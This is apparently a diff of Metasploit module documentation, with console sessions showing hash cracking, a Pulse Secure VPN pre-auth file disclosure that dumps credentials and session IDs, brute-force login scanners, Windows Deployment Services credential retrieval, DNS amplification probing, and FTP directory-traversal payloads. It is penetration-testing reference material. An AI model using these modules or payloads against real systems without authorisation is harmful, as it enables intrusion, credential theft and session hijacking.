lm_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_pot_password e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
nt_password aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_pot_password password Password
lm_password password Password
lm2_password password Password
nt_password password Password
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_windows
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-32645-186ea6l
[*] Wordlist file written out to /tmp/jtrtmp20190531-32645-12pwixd
[*] Checking lm hashes already cracked...
[*] Cracking lm hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=i26VXnSy --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3000 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking lm hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=i26VXnSy --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3000 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l /tmp/jtrtmp20190531-32645-12pwixd
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1470 lm lm_password [notfound]D Incremental
1471 lm lm2_password [notfound]D Incremental
[*] Checking nt hashes already cracked...
[*] Cracking nt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=6lfDPvji --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1000 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking nt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=6lfDPvji --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1000 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l /tmp/jtrtmp20190531-32645-12pwixd
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1470 lm lm_password [notfound]D Incremental
1471 lm lm2_password [notfound]D Incremental
1472 nt lm2_pot_password password Wordlist
1473 nt nt_password password Wordlist
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
lm_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_pot_password e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
nt_password aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm_password [notfound]D Password
lm2_password [notfound]D Password
lm_password PASSWORD Password
lm2_password PASSWORD Password
lm_password password Password
lm2_password password Password
lm2_pot_password password Password
nt_password password Password
```
@@ -3,7 +3,7 @@
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Linux
based password hashes, such as:
* `DES` based passwords
* `DES` based passwords
* `MD5` based passwords
* `BSDi` based passwords
* With `crypt` set to `true`:
@@ -52,7 +52,7 @@ msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
[+] 127.0.0.1:2404 - Received STARTDT_ACT
[*] 127.0.0.1:2404 - Sending 104 command
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
@@ -77,7 +77,7 @@ msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
[*] 127.0.0.1:2404 - operation ended
[*] 127.0.0.1:2404 - Terminating Connection
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
[+] 127.0.0.1:2404 - Received STOPDT_ACT
[*] Auxiliary module execution completed
msf auxiliary(client/iec104/iec104) >
```
@@ -97,7 +97,7 @@ msf auxiliary(client/iec104/iec104) > set command_value 5
command_value => 5
msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
[+] 127.0.0.1:2404 - Received STARTDT_ACT
[*] 127.0.0.1:2404 - Sending 104 command
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
@@ -114,7 +114,7 @@ msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
[*] 127.0.0.1:2404 - operation ended
[*] 127.0.0.1:2404 - Terminating Connection
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
[+] 127.0.0.1:2404 - Received STOPDT_ACT
[*] Auxiliary module execution completed
msf auxiliary(client/iec104/iec104) >
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
From the `bootparamd(8)` man page:
@@ -1,4 +1,4 @@
## Intro
## Introduction
If you've worked with old Unix systems before, you've probably
encountered NIS (Network Information Service). The most familiar way of
@@ -0,0 +1,101 @@
## Introduction
This module exploits a pre-auth directory traversal in the Pulse Secure
VPN server to dump an arbitrary file. Dumped files are stored in loot.
If the `Automatic` action is set, plaintext and hashed credentials, as
well as session IDs, will be dumped. Valid sessions can be hijacked by
setting the `DSIG` browser cookie to a valid session ID.
For the `Manual` action, please specify a file to dump via the `FILE`
option. `/etc/passwd` will be dumped by default. If the `PRINT` option is
set, file contents will be printed to the screen, with any unprintable
characters replaced by a period.
Please see related module exploit/linux/http/pulse_secure_cmd_exec for
a post-auth exploit that can leverage the results from this module.
## Actions
```
Name Description
---- -----------
Automatic Dump creds and sessions
Manual Dump an arbitrary file (FILE option)
```
## Options
**FILE**
Set this to the file you want to dump. The default is `/etc/passwd`.
Valid only in manual mode.
**PRINT**
Whether to print file contents to the screen. Valid only in manual mode.
## Usage
Dumping creds and sessions in automatic mode:
```
msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
[*] Running module against [redacted]
[*] Running in automatic mode
[*] Dumping /data/runtime/mtmp/lmdb/dataa/data.mdb
[+] /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
[*] Dumping /data/runtime/mtmp/lmdb/randomVal/data.mdb
[*] Parsing session IDs...
[+] Session ID found: df502e6052d9002d8f02160af8bfd055
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
[+] Session ID found: acbef5625
[+] Session ID found: c145e683a
[+] Session ID found: fc6c097dd
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
[+] Session ID found: c145e683a17cfacb72a47eb8b2515c14
[+] Session ID found: a7661751393e16fa253e97bd02dc2a4f
[+] Session ID found: 7e78ab276afea3f00dfa41892c437156c699eff8
[+] /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
[*] Dumping /data/runtime/mtmp/system
[+] /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
[*] Auxiliary module execution completed
msf5 auxiliary(gather/pulse_secure_file_disclosure) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/lmdb/dataa/data.mdb application/octet-stream Plaintext credentials /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/lmdb/randomVal/data.mdb application/octet-stream Session IDs /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/system application/octet-stream Hashed credentials /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
msf5 auxiliary(gather/pulse_secure_file_disclosure) >
```
Dumping default `/etc/passwd` in manual mode:
```
msf5 auxiliary(gather/pulse_secure_file_disclosure) > set action Manual
action => Manual
msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
[*] Running module against [redacted]
[*] Running in manual mode
[*] Dumping /etc/passwd
root:x:0:0:root:/:/bin/bash
nfast:x:0:0:nfast:/:/bin/bash
bin:x:1:1:bin:/:
nobody:x:99:99:Nobody:/:
dns:x:98:98:DNS:/:
term:x:97:97:Telnet/SSH:/:
web80:x:96:96:Port 80 web:/:
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
postgres:x:102:102:PostgreSQL User:/:
[+] /Users/wvu/.msf4/loot/20191029222949_default_[redacted]_PulseSecureVPN_073170.bin
[*] Auxiliary module execution completed
msf5 auxiliary(gather/pulse_secure_file_disclosure) >
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
This is going to be a quick rundown of how to use this module to
retrieve the admin hash from a vulnerable QNAP device.
@@ -0,0 +1,28 @@
## Vulnerable Application
ACPP is an undocumented and proprietary Apple protocol found in Airport products which protects the credentials used to administer the device. This module attempts exploit a weak encryption mechanism (fixed XOR key) by brute forcing the password via a dictionary attack or specific password.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/acpp/login)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/acpp/login`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### Apple AirPort Extreme 802.11g
```
msf > use auxiliary/scanner/acpp/login
msf auxiliary(scanner/acpp/login) > show options
msf auxiliary(scanner/acpp/login) > set RHOSTS 1.1.1.1
RHOSTS => 1.1.1.1
msf auxiliary(scanner/acpp/login) > set PASSWORD myPassword
PASSWORD => myPassword
msf auxiliary(scanner/acpp/login) > run
[*] 1.1.1.1:5009 - 1.1.1.1:5009 - Starting ACPP login sweep
[*] 1.1.1.1:5009 - 1.1.1.1:5009 - ACPP Login Successful: myPassword
```
@@ -0,0 +1,45 @@
## Vulnerable Application
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module attempts to brute force authentication credentials for AFP.
References:
* [AFP_Reference](https://developer.apple.com/library/mac/documentation/Networking/Reference/AFP_Reference/Reference/reference.html)
* [AFP_Security](https://developer.apple.com/library/mac/documentation/networking/conceptual/afp/AFPSecurity/AFPSecurity.html)
### Kali 2019.3 Install Instructions
1. `sudo apt-get install netatalk`
2. edit `/etc/default/netatalk` and add the following lines:
```
ATALKD_RUN=no
PAPD_RUN=no
CNID_METAD_RUN=yes
AFPD_RUN=yes
TIMELORD_RUN=no
A2BOOT_RUN=no
```
3. Restart the service: `sudo /etc/init.d/netatalk restart`
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/afp/afp_login`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### A run on Kali Linux 2019.3 and Netatalk 3.1.12
```
msf > use modules/auxiliary/scanner/afp/afp_login
msf auxiliary(scanner/afp/afp_login) > set USERNAME tuser
msf auxiliary(scanner/afp/afp_login) > set PASSWORD myPassword
msf auxiliary(scanner/afp/afp_login) > set RHOST 172.17.0.2
msf auxiliary(scanner/afp/afp_login) > run
[*] 172.17.0.2:548 - Scanning IP: 172.17.0.2
[*] 172.17.0.2:548 - Login Successful: tuser:myPassword
```
@@ -3,10 +3,11 @@
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module will gather information about the service.
Netatalk is a Linux implementation of AFP.
The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
The following was done on Ubuntu 16.04, and is largely based on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
1. `sudo apt-get install netatalk`
2. edit `/etc/default/netatalk` and add the following lines:
```
ATALKD_RUN=no
PAPD_RUN=no
@@ -15,6 +16,7 @@ The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wo
TIMELORD_RUN=no
A2BOOT_RUN=no
```
3. Restart the service: `sudo /etc/init.d/netatalk restart`
## Verification Steps
@@ -22,40 +24,41 @@ The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wo
1. Install and configure afp (or netatalk in a Linux environment)
2. Start msfconsole
3. Do: `auxiliary/scanner/afp/afp_server_info`
4. Do: `run`
4. Do: `set RHOSTS [ip]`
5. Do: `run`
## Scenarios
A run against the configuration from these docs
### Ubuntu 16.04 with Netatalk 2.2.5
```
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/afp/afp_server_info) > run
[*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
[*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UAMs: Cleartxt Passwrd, DHX2
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Signature: 975394e16633312406281959287fcbd9
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UTF8 Server Name: ubuntu
[*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
@@ -0,0 +1,32 @@
## Vulnerable Application
This module attempts to authenticate against a DB2 instance using username and password combinations indicated by the `USER_FILE`, `PASS_FILE`, and `USERPASS_FILE` options.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/db2/db2_auth)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/db2/db2_auth`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### A run on Kali Linux 2019.3 and DB2 11.5.0.0a
```
msf > use auxiliary/scanner/db2/db2_auth
msf auxiliary/scanner/db2/db2_auth) > show options
msf auxiliary/scanner/db2/db2_auth) > set USERNAME db2inst1
msf auxiliary/scanner/db2/db2_auth) > set PASSWORD db2pass
msf auxiliary(scanner/db2/db2_auth) > set DATABASE testdb
msf auxiliary/scanner/db2/db2_auth) > set RHOST 172.17.0.2
msf auxiliary/scanner/db2/db2_auth) > run
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:db2inst1@testdb (Incorrect: )
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:dasusr1@testdb (Incorrect: )
[-] 172.17.0.2:50000 - 172.17.0.2:50000 - LOGIN FAILED: db2inst1:db2fenc1@testdb (Incorrect: )
[*] 172.17.0.2:50000 - Login Successful: db2inst1:db2pass
[*] 172.17.0.2:50000 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,27 @@
## Vulnerable Application
This module queries a DB2 instance information.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/db2/db2_version)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/db2/db2_version`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### A run on Kali Linux 2019.3 and DB2 11.5.0.0a
```
msf > use auxiliary/scanner/db2/db2_version
msf auxiliary(scanner/db2/db2_version) > show options
msf auxiliary(scanner/db2/db2_version) > set DATABASE testdb
msf auxiliary(scanner/db2/db2_version) > set RHOSTS 172.17.0.2
msf auxiliary(scanner/db2/db2_version) > run
[+] 172.17.0.2:50000 - 172.17.0.2:50000 DB2 - Platform: QDB2/LINUXX8664, Version: SQL11050, Instance: db2inst1, Plain-Authentication: OK
[*] 172.17.0.2:50000 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,41 @@
## Vulnerable Application
This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/dcerpc/windows_deployment_services) and pull request [PR #1420](https://github.com/rapid7/metasploit-framework/pull/1420).
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/dcerpc/windows_deployment_services`
3. set RHOST [ip]
4. Do: `run`
## Scenarios
### A run on Windows Server 2008 R2 X64
```
msf > use modules/auxiliary/scanner/dcerpc/windows_deployment_services
msf auxiliary(scanner/dcerpc/windows_deployment_services) > show options
msf auxiliary(scanner/dcerpc/windows_deployment_services) > set RHOST 192.168.5.1
msf auxiliary(scanner/dcerpc/windows_deployment_services) > run
[*] Binding to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040] ...
[+] Bound to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040]
[*] Sending X64 Client Unattend request ...
[*] Raw version of X64 saved as: C:/Documents and Settings/user/.msf5/loot/20121213104745_default_192.168.5.1_windows.unattend_399005.txt
[+] Retrieved wds credentials for X64
[*] Sending X86 Client Unattend request ...
[*] Sending IA64 Client Unattend request ...
Windows Deployment Services
===========================
Architecture Type Domain Username Password
------------ ---- ------ -------- --------
X64 wds Fabrikam.com username my_password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,30 @@
## Vulnerable Application
Detect UDP services that reply to empty probes.
More information can be found on the [Rapid7 blog page](https://blog.rapid7.com/2014/10/03/adventures-in-empty-udp-scanning/)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/discovery/empty_udp`
3. Do: `set RHOSTS [ip]`
4. Do: `set RPORT [port]`
5. Do: `run`
## Scenarios
### A run against Windows XP (X64) using Kali Linux 2019.3
```
msf auxiliary(scanner/dns/dns_amp) > use auxiliary/scanner/discovery/empty_udp
msf auxiliary(scanner/discovery/empty_udp) > set RHOSTS 1.1.1.1
RHOSTS => 1.1.1.1
msf auxiliary(scanner/discovery/empty_udp) > set RPORT 135
RPORT => 135
msf auxiliary(scanner/discovery/empty_udp) > run
[*] Sending 1032 empty probes to 1.1.1.1->1.1.1.1 (1 hosts)
[+] Received #52 from #:135:#1095/udp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,26 @@
## Vulnerable Application
This module implements the DLSw information disclosure retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unauthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active.
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/dlsw/dlsw_leak_capture`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### IOS version 12.4(8) and Kali Linux 2019.3
```
msf > use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > set RHOSTS 192.168.0.1
RHOSTS => 192.168.0.1
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > run
[*] 192.168.0.1:2067 - Checking for DLSw information disclosure (CVE-2014-7992)
[+] 192.168.0.1:2067 - Vulnerable to DLSw information disclosure; leaked 72 bytes
[*] 192.168.0.1:2067 - DLSw leaked data stored in /root/.msf4/loot/20191124231804_default_192.168.0.1_dlsw.packet.cont_518857.bin
[*] 192.168.0.1:2067 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,33 @@
## Vulnerable Application
This module can be used to discover DNS servers which expose recursive name lookups which can be used in an amplification attack against a third party.
BIND 9.4.1-P1: [source](ftp://ftp.isc.org/isc/bind9/9.4.1-P1/bind-9.4.1-P1.tar.gz)
Ubuntu 7.10: [Gutsy Gibbon](http://old-releases.ubuntu.com/releases/7.10/)
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/dns/dns_amp`
3. Do: `set DOMAINNAME [domain]`
4. Do: `set RHOST [ip]`
5. Do: `run`
## Scenarios
### A run on Ubuntu 7.10 (Gutsy Gibbon) and BIND 9.4.1-P1
```
msf > use modules/auxiliary/scanner/dns/dns_amp
msf auxiliary(scanner/dns/dns_amp) > set DOMAINNAME domain.com
DOMAINNAME => domain.com
msf auxiliary(scanner/dns/dns_amp) > set RHOSTS 192.168.10.254
RHOSTS => 192.168.10.254
msf auxiliary(scanner/dns/dns_amp) > run
[*] Sending DNS probes to 192.168.10.254->192.168.10.254 (1 hosts)
[*] Sending 70 bytes to each host using the IN ANY domain.com request
[+] 192.168.10.254:53 - Response is 374 bytes [5.34x Amplification]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,29 @@
## Vulnerable Application
This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0.
This vulnerability allows an attacker to download arbitrary files from the server by crafting a `RETR` command that includes file system traversal strings such as `..//`.
Link to Konica Minolta FTP Utility 1.00 software download [Exploit-DB](https://www.exploit-db.com/apps/6388a2ae7dd2965225b3c8fad62f2b3b-ftpu_10.zip)
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/ftp/konica_ftp_traversal`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### Konica Minolta FTP Utility 1.00 on Windows 7 (X64)
```
msf > use modules/auxiliary/scanner/ftp/konica_ftp_traversal
msf auxiliary(scanner/ftp/konica_ftp_traversal) > set RHOSTS 1.1.1.1
RHOSTS => 1.1.1.1
set PATH ../../WINDOWS/win.ini
PATH => ../../WINDOWS/win.ini
msf auxiliary(scanner/ftp/konica_ftp_traversal) > run
[+] 1.1.1.1:21 - Stored ../../WINDOWS/win.ini to /root/.msf4/loot/20191122042114_default_1.1.1.1_konica.ftp.data_003802.ini
[*] 1.1.1.1:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,52 @@
## Vulnerable Application
This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
This vulnerability allows an attacker to download arbitrary files from the server by crafting a `RETR` command that includes file system traversal strings such as `..//`
Linked to software download [Exploit-DB](https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z)
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/ftp/pcman_ftp_traversal`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### PCMan FTP Server 2.0.7 on Windows 7 (X64)
```
msf > use modules/auxiliary/scanner/ftp/pcman_ftp_traversal
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > show options
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > set RHOST 1.1.1.1
rhost => 1.1.1.1
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > set PATH WINDOWS\\win.ini
PATH => WINDOWS\win.ini
msf auxiliary(scanner/ftp/pcman_ftp_traversal) > run
[+] 192.168.2.252:21 - Stored WINDOWS\win.ini to /root/.msf4/loot/20191120201523_default_1.1.1.1_pcman.ftp.data_069450.ini
[*] 192.168.2.252:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Manual Exploitation
```
2019/11/20 [12:46] (00588) 1.1.1.2> User connecting from 1.1.1.2
2019/11/20 [12:46] (00588) 1.1.1.2> USER anonymous
2019/11/20 [12:46] (00588) Anonymous> 331 User name okay, need password.
2019/11/20 [12:46] (00588) Anonymous> PASS *****
2019/11/20 [12:46] (00588) Anonymous> 230 User logged in
2019/11/20 [12:46] (00588) Anonymous> PASV
2019/11/20 [12:46] (00588) Anonymous> 227 Entering Passive Mode (1.1.1.1,8,1)
2019/11/20 [12:46] (00588) Anonymous> RETR ..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//..//WINDOWS\win.ini
2019/11/20 [12:46] (00588) Anonymous> 150 File status okay; Open data connection.
2019/11/20 [12:46] (00588) Anonymous> 226 Data Sent okay.
2019/11/20 [12:46] (00588) Anonymous> User Disconnected.
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module scans for h.323 servers and determines the version and information about the server.
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module scans a web server for a file name with various backup type extensions.
The list of extensions are:
@@ -42,4 +42,4 @@ msf5 auxiliary(scanner/http/backup_file) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module scans for Docker servers listening on a TCP port (default 2375).
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module pulls and parses the URLs stored by Archive.org for the purpose of replaying
during a web assessment. Finding unlinked and old pages. This module utilizes
@@ -28,4 +28,4 @@ http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_u.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Support_d.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Support_u.gif
...snip...
```
```
@@ -0,0 +1,37 @@
## Vulnerable Application
